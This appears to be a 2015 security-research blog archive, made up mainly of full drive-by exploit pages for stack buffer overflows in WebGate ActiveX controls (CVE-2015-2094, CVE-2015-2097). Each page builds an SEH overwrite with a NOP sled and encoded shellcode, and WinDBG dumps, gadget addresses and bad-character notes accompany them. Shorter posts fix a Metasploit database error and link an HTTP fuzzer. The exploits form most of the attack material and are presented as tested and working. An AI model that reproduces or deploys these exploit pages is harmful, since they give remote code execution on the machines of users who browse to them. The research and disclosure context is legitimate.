Security Unplugged !!!: March 2015

Saturday, March 28, 2015

CVE-2015-2094: WebGate WinRDS WESPPlayback.WESPPlaybackCtrl.1 StopSiteAllChannel Stack Buffer Overflow Remote Code Execution Vulnerability (0Day)

During PoC testing, to check stack alignment with below assignment
nseh = "DDDD";
var seh = "EEEE";

Process attachProcess attachProcess attach end(3eb4.39f8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000e20 ebx=00000041 ecx=0329fc34 edx=00002711 esi=77c50041 edi=020bf1e0
eip=77c1dcbf esp=020bf178 ebp=020bf1a0 iopl=0 nv up ei ng nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210297
msvcrt!__wcstombs_mt+0x56:
77c1dcbf 881c07 mov byte ptr [edi+eax],bl ds:0023:020c0000=4d
0:008> !exchain
020bf260: 45454545
Invalid exception stack at 44444444
0:008> d 020bf260
020bf260 44 44 44 44 45 45 45 45-90 90 90 90 90 90 90 90 DDDDEEEE........
020bf270 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
020bf280 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
020bf290 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
020bf2a0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
020bf2b0 90 90 90 90 90 90 90 90-41 41 41 41 41 41 41 41 ........AAAAAAAA
020bf2c0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
020bf2d0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0:008> d fs:[0]
003b:00000000 60 f2 0b 02 00 00 0c 02-00 00 0b 02 00 00 00 00 `...............
003b:00000010 00 1e 00 00 00 00 00 00-00 60 fd 7f 00 00 00 00 .........`......
003b:00000020 b4 3e 00 00 f8 39 00 00-00 00 00 00 00 00 00 00 .>...9..........
003b:00000030 00 80 fd 7f 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000040 f0 3c 24 e1 00 00 00 00-00 00 00 00 00 00 00 00 .<$.............
003b:00000050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000060 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000070 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

Module info :
---------------------------------------------------------------------------------
Base | Top | Size | Rebase | SafeSEH | ASLR | NXCompat | OS Dll | Version, Modulename & Path
---------------------------------------------------------------------------------
0x00870000 | 0x00ffa000 | 0x0078a000 | True | True | False | False | True | 6.0.1 [IPPDecoder.dll] (C:\WINDOWS\system32\WESPSDK\IPPDecoder.dll)
0x10000000 | 0x100e0000 | 0x000e0000 | False | False | False | False | True | 1.6.42.0 [WESPPlayback.dll]
0x1007f29e : pop ebx # retn # pop esi # xor al,al # pop ebx # retn | {PAGE_EXECUTE_READ} [WESPPlayback.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v1.6.42.0 (C:\WINDOWS\system32\WESPSDK\WESPPlayback.dll)

Final Exploit

<html>
<title>WebGate WinRDS WESPPlayback.WESPPlaybackCtrl.1 StopSiteAllChannel Stack Buffer Overflow Vulnerability (0Day)</title>
<!--
targetFile = "C:\WINDOWS\system32\WESPSDK\WESPPlayback.dll"
prototype  = "Sub StopSiteAllChannel ( ByVal SiteSerialNumber As String )"
progid     = "WESPPLAYBACKLib.WESPPlaybackCtrl"
Vulnerable Product = WinRDS 2.0.8
Software = http://www.webgateinc.com/wgi/eng/index.php?svc_name=product&amCode=C029&asCode=C039&ec_idx1=P040&ptype=view&page=&p_idx=36
-->
<object classid='clsid:4E14C449-A61A-4BF7-8082-65A91298A6D8' id='ssac'>
</object>
<script>

var buff1 = "";
var nops = "";
var buff2 = "";

for (i=0;i<128; i++)
{
 buff1 += "B";
}

nseh = "\xeb\x08PD";
var seh = "\xa0\xf2\x07\x10";
for (i=0;i<80; i++)
{
 nops += "\x90";
}
sc = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" +
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" +
"\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30" +
"\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" +
"\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" +
"\x49\x4b\x4c\x5a\x48\x4b\x32\x45\x50\x55\x50\x43\x30" +
"\x53\x50\x4b\x39\x4d\x35\x30\x31\x4f\x30\x52\x44\x4c" +
"\x4b\x56\x30\x46\x50\x4c\x4b\x31\x42\x34\x4c\x4c\x4b" +
"\x31\x42\x44\x54\x4c\x4b\x32\x52\x47\x58\x54\x4f\x38" +
"\x37\x50\x4a\x37\x56\x46\x51\x4b\x4f\x4e\x4c\x57\x4c" +
"\x35\x31\x33\x4c\x33\x32\x46\x4c\x37\x50\x49\x51\x48" +
"\x4f\x34\x4d\x45\x51\x4f\x37\x4d\x32\x4a\x52\x36\x32" +
"\x46\x37\x4c\x4b\x36\x32\x32\x30\x4c\x4b\x30\x4a\x37" +
"\x4c\x4c\x4b\x30\x4c\x32\x31\x54\x38\x5a\x43\x51\x58" +
"\x33\x31\x4e\x31\x30\x51\x4c\x4b\x36\x39\x47\x50\x53" +
"\x31\x48\x53\x4c\x4b\x30\x49\x35\x48\x5a\x43\x36\x5a" +
"\x57\x39\x4c\x4b\x46\x54\x4c\x4b\x33\x31\x49\x46\x56" +
"\x51\x4b\x4f\x4e\x4c\x49\x51\x38\x4f\x54\x4d\x35\x51" +
"\x58\x47\x37\x48\x4d\x30\x34\x35\x4a\x56\x43\x33\x43" +
"\x4d\x5a\x58\x37\x4b\x43\x4d\x46\x44\x43\x45\x4d\x34" +
"\x56\x38\x4c\x4b\x56\x38\x31\x34\x43\x31\x4e\x33\x42" +
"\x46\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x36\x38\x45\x4c" +
"\x45\x51\x4e\x33\x4c\x4b\x54\x44\x4c\x4b\x33\x31\x48" +
"\x50\x4c\x49\x57\x34\x36\x44\x51\x34\x51\x4b\x51\x4b" +
"\x33\x51\x30\x59\x50\x5a\x36\x31\x4b\x4f\x4b\x50\x31" +
"\x4f\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x5a\x4b\x4c\x4d" +
"\x31\x4d\x53\x5a\x35\x51\x4c\x4d\x4c\x45\x58\x32\x43" +
"\x30\x53\x30\x55\x50\x56\x30\x42\x48\x50\x31\x4c\x4b" +
"\x42\x4f\x4d\x57\x4b\x4f\x59\x45\x4f\x4b\x5a\x50\x48" +
"\x35\x4f\x52\x30\x56\x53\x58\x4e\x46\x5a\x35\x4f\x4d" +
"\x4d\x4d\x4b\x4f\x38\x55\x47\x4c\x53\x36\x33\x4c\x45" +
"\x5a\x4b\x30\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b" +
"\x47\x37\x32\x33\x53\x42\x42\x4f\x42\x4a\x55\x50\x46" +
"\x33\x4b\x4f\x49\x45\x43\x53\x53\x51\x52\x4c\x52\x43" +
"\x36\x4e\x55\x35\x44\x38\x33\x55\x33\x30\x41\x41";
for (i=0;i<(5000 - (buff1.length + nseh.length + seh.length + nops.length + sc.length)); i++)
{
 buff2 += "A";
}

fbuff = buff1 + nseh + seh + nops + sc + buff2;
ssac.StopSiteAllChannel(fbuff);

</script>
</html>

Refer below link for other WebGate exploit
http://blog.disects.com/2015/03/webgate-edvr-manager.html

Wednesday, March 25, 2015

WebGate eDVR Manager WESPMonitor.WESPMonitorCtrl LoadImage Stack Buffer Overflow Remote Code Execution (CVE-2015-2097)

WEBGATE Embedded Standard Protocol (WESP) SDK has multiple Remote Code Execution Vulnerabilities in different ActiveX controls.

Use below mona command to find pop pop ret address which creates findwild.txt at C:\Program Files\Immunity Inc\Immunity Debugger
!mona findwild -s "pop r32#*#pop r32#*#ret"

Snip of findwild.txt (addresses which I tried to use)
0x10079740 : pop esi # xor al,al # pop ebx # retn | {PAGE_EXECUTE_READ} [WESPMonitor.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v1.6.42.0 (C:\WINDOWS\system32\WESPSDK\WESPMonitor.dll)
0x100580bd : pop ebp # pop ebx # mov dword ptr fs:[0],ecx # add esp,34 # retn | {PAGE_EXECUTE_READ} [WESPMonitor.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v1.6.42.0 (C:\WINDOWS\system32\WESPSDK\WESPMonitor.dll)
0x1007973e : pop ebx # retn # pop esi # xor al,al # pop ebx # retn | {PAGE_EXECUTE_READ} [WESPMonitor.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v1.6.42.0 (C:\WINDOWS\system32\WESPSDK\WESPMonitor.dll)
0x1001a561 : pop ebp # mov byte ptr ds:[edx+c],1 # mov al,1 # pop ebx # retn | {PAGE_EXECUTE_READ} [WESPMonitor.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v1.6.42.0 (C:\WINDOWS\system32\WESPSDK\WESPMonitor.dll)
0x10014771 : pop ebx # pop ebp # retn | ascii {PAGE_EXECUTE_READ} [WESPMonitor.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v1.6.42.0 (C:\WINDOWS\system32\WESPSDK\WESPMonitor.dll)
0x7c915242 : pop edi # pop esi # pop ebx # pop ebp # retn | {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ntdll.dll)

I was trying to pick calc.exe shellcode from previous exploits which somehow didn't work, might be due to presence of bad characters (assuming) so ended up in generating payload using Metasploit.

To Make sure we are pointing to shellcode modify nseh = "\xeb\x10\x90\x90"
to nseh = "\xcc\xcc\xeb\x10";
where \xcc is an opcode which acts as breakpoint.

Following "pop pop ret" address always getting modified to a different address and seeing below error in WinDBG.
0013df5c: WESPMonitor!CxImage::`copy constructor closure'+13d20 (10073f40)

0x10079740 changes to 0x10073f40
0x100580bd changes to 0x10053fbd
0x1007973e changes to 0x10073f3e
0x7c915242 changes to 0x7c3f5242 in ntdll

After few trial and error method found below address which doesn't have problem mentioned above might be due to the bad character issue where application is considering \x80 to \x9f as bad!
0x1001a561
0x10014771
Bad characters might cause issues while executing shellcode, those characters can be found using below technique.
http://blog.disects.com/2014/04/exploitation-identifying-bad-characters.html

>u 10079740
10079740 5e pop esi
10079741 32c0 xor al,al
10079743 5b pop ebx
10079744 c3 ret

Final Exploit

<html>
<!--
targetFile = "C:\Windows\System32\WESPSDK\WESPMonitor.dll"
prototype  = "Sub LoadImage ( ByVal bstrFullPath As String )"
memberName = "LoadImage"
progid     = "WESPMONITORLib.WESPMonitorCtrl"
argCount   = 1
-->

<object classid='clsid:B19147A0-C2FD-4B1F-BD20-3A3E1ABC4FC3' id='target'>
</object>
<script>
var arg1 = "";
nops = "";
var buff = "";

for(i=0;i<268;i++)
{
 arg1 += "B";
}

nseh = "\xeb\x10\x90\x90";  //jmp over addr
seh = "\x71\x47\x01\x10";  //pop pop ret addr
document.write("</br>"+"Lengths: arg1="+arg1.length+" seh="+seh.length+"</br>");

for(i=0;i<200;i++)
{
 nops += "\x90";
}

//bad cahrs = 80,82-89, 8a 8b 8c, 8e, 91-99, 9a 9b 9c 9e 9f
sc = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" +
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" +
"\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30" +
"\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" +
"\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" +
"\x49\x4b\x4c\x5a\x48\x4b\x32\x45\x50\x55\x50\x43\x30" +
"\x53\x50\x4b\x39\x4d\x35\x30\x31\x4f\x30\x52\x44\x4c" +
"\x4b\x56\x30\x46\x50\x4c\x4b\x31\x42\x34\x4c\x4c\x4b" +
"\x31\x42\x44\x54\x4c\x4b\x32\x52\x47\x58\x54\x4f\x38" +
"\x37\x50\x4a\x37\x56\x46\x51\x4b\x4f\x4e\x4c\x57\x4c" +
"\x35\x31\x33\x4c\x33\x32\x46\x4c\x37\x50\x49\x51\x48" +
"\x4f\x34\x4d\x45\x51\x4f\x37\x4d\x32\x4a\x52\x36\x32" +
"\x46\x37\x4c\x4b\x36\x32\x32\x30\x4c\x4b\x30\x4a\x37" +
"\x4c\x4c\x4b\x30\x4c\x32\x31\x54\x38\x5a\x43\x51\x58" +
"\x33\x31\x4e\x31\x30\x51\x4c\x4b\x36\x39\x47\x50\x53" +
"\x31\x48\x53\x4c\x4b\x30\x49\x35\x48\x5a\x43\x36\x5a" +
"\x57\x39\x4c\x4b\x46\x54\x4c\x4b\x33\x31\x49\x46\x56" +
"\x51\x4b\x4f\x4e\x4c\x49\x51\x38\x4f\x54\x4d\x35\x51" +
"\x58\x47\x37\x48\x4d\x30\x34\x35\x4a\x56\x43\x33\x43" +
"\x4d\x5a\x58\x37\x4b\x43\x4d\x46\x44\x43\x45\x4d\x34" +
"\x56\x38\x4c\x4b\x56\x38\x31\x34\x43\x31\x4e\x33\x42" +
"\x46\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x36\x38\x45\x4c" +
"\x45\x51\x4e\x33\x4c\x4b\x54\x44\x4c\x4b\x33\x31\x48" +
"\x50\x4c\x49\x57\x34\x36\x44\x51\x34\x51\x4b\x51\x4b" +
"\x33\x51\x30\x59\x50\x5a\x36\x31\x4b\x4f\x4b\x50\x31" +
"\x4f\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x5a\x4b\x4c\x4d" +
"\x31\x4d\x53\x5a\x35\x51\x4c\x4d\x4c\x45\x58\x32\x43" +
"\x30\x53\x30\x55\x50\x56\x30\x42\x48\x50\x31\x4c\x4b" +
"\x42\x4f\x4d\x57\x4b\x4f\x59\x45\x4f\x4b\x5a\x50\x48" +
"\x35\x4f\x52\x30\x56\x53\x58\x4e\x46\x5a\x35\x4f\x4d" +
"\x4d\x4d\x4b\x4f\x38\x55\x47\x4c\x53\x36\x33\x4c\x45" +
"\x5a\x4b\x30\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b" +
"\x47\x37\x32\x33\x53\x42\x42\x4f\x42\x4a\x55\x50\x46" +
"\x33\x4b\x4f\x49\x45\x43\x53\x53\x51\x52\x4c\x52\x43" +
"\x36\x4e\x55\x35\x44\x38\x33\x55\x33\x30\x41\x41";

for(i=0;i<(4000-(arg1.length + seh.length + nseh.length + nops.length+ sc.length));i++)
{
 buff += "A";
}

// [ Junk buffer ][ next SEH ][ SE Handler ][ Shellcode ]
fbuff = arg1 + nseh + seh + nops + sc  + buff;
target.LoadImage(fbuff);

</script>
</html>

Below is the stack trace at first point exception
(33c.6d8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000f41 ebx=001b012c ecx=020fe0b1 edx=02100000 esi=020fd218 edi=00001f42
eip=1004ae5b esp=020fd218 ebp=020ff280 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210206
*** WARNING: Unable to verify checksum for C:\WINDOWS\System32\WESPSDK\WESPMonitor.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\System32\WESPSDK\WESPMonitor.dll -
WESPMonitor!DllUnregisterServer+0x2094b:
1004ae5b 8802 mov byte ptr [edx],al ds:0023:02100000=4d
0:008> !exchain
020ff274: WESPMonitor!CAudioRenderer::CloseAudio+11a61 (10014771)
Invalid exception stack at 909010eb
0:008> d fs:[0]
003b:00000000 74 f2 0f 02 00 00 10 02-00 00 0f 02 00 00 00 00 t...............
003b:00000010 00 1e 00 00 00 00 00 00-00 50 fd 7f 00 00 00 00 .........P......
003b:00000020 3c 03 00 00 d8 06 00 00-00 00 00 00 00 00 00 00 <...............
003b:00000030 00 e0 fd 7f 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000040 70 98 8e e1 00 00 00 00-00 00 00 00 00 00 00 00 p...............
003b:00000050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000060 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000070 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0:008> u 10014771
WESPMonitor!CAudioRenderer::CloseAudio+0x11a61:
10014771 5b pop ebx
10014772 5d pop ebp
10014773 c3 ret
0:008> d 020ff274
020ff274 eb 10 90 90 71 47 01 10-90 90 90 90 90 90 90 90 ....qG..........
020ff284 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
020ff294 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
020ff2a4 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
020ff2b4 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
020ff2c4 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
020ff2d4 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
020ff2e4 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

If you continue execution after first chance exception we will be greeted with a calculator :-)

This exploit is tested on Windows XP SP3 with IE6, IE7 and IE8.
This is tested and successfully executed when DEP is enabled.

This post is incomplete if I don't thank Peter Van Eeckhoutte aka corelanc0d3r.

Next, DEP bypass!!

Metasploit: Database not connected or cache not built, using slow search

We can search metasploit modules using search command with various options but we frequently come accross error "Database not connected or cache not built, using slow search". Follow below steps to solve the issue.

msf > search cve:2015-0255
[!] Database not connected or cache not built, using slow search

Postgresql service status when not running
root@kali-praveend:/# service postgresql status
Running clusters:

root@kali-praveend:/# service metasploit status
[FAIL] Metasploit rpc server is not running ... failed!
[FAIL] Metasploit web server is not running ... failed!
[FAIL] Metasploit worker is not running ... failed!

root@kali-praveend:/# service metasploit start
[FAIL] Postgresql must be started before Metasploit ... failed!

root@kali-praveend:/# service postgresql start
[ ok ] Starting PostgreSQL 9.1 database server: main.

root@kali-praveend:/# service postgresql status Running clusters: 9.1/main

root@kali-praveend:/# service metasploit start
[ ok ] Starting Metasploit rpc server: prosvc.
[ ok ] Starting Metasploit web server: thin.
[ ok ] Starting Metasploit worker: worker.

msf > db_status
[*] postgresql connected to msf3

msf > db_rebuild_cache
[*] Purging and rebuilding the module cache in the background...
msf >

Now we should not see the error.

Friday, March 6, 2015

Web Server/HTTP Fuzzer

Was searching for basic HTTP/Web Server Fuzzer but could not find one.
So ended by writing this quick dirty Fuzzer.

Features

Supports 40 different Request Methods
Supports around 40 Request Headers
Can send invalid request methods and headers
Fuzz Methods and Headers
Fuzz Headers with XSS String(s), blank strings, huge buffer

https://github.com/praveendhac/VulnerabilityResearch/blob/master/WebServer_Fuzzer.py

Please drop comments if you want me to add new feature(s).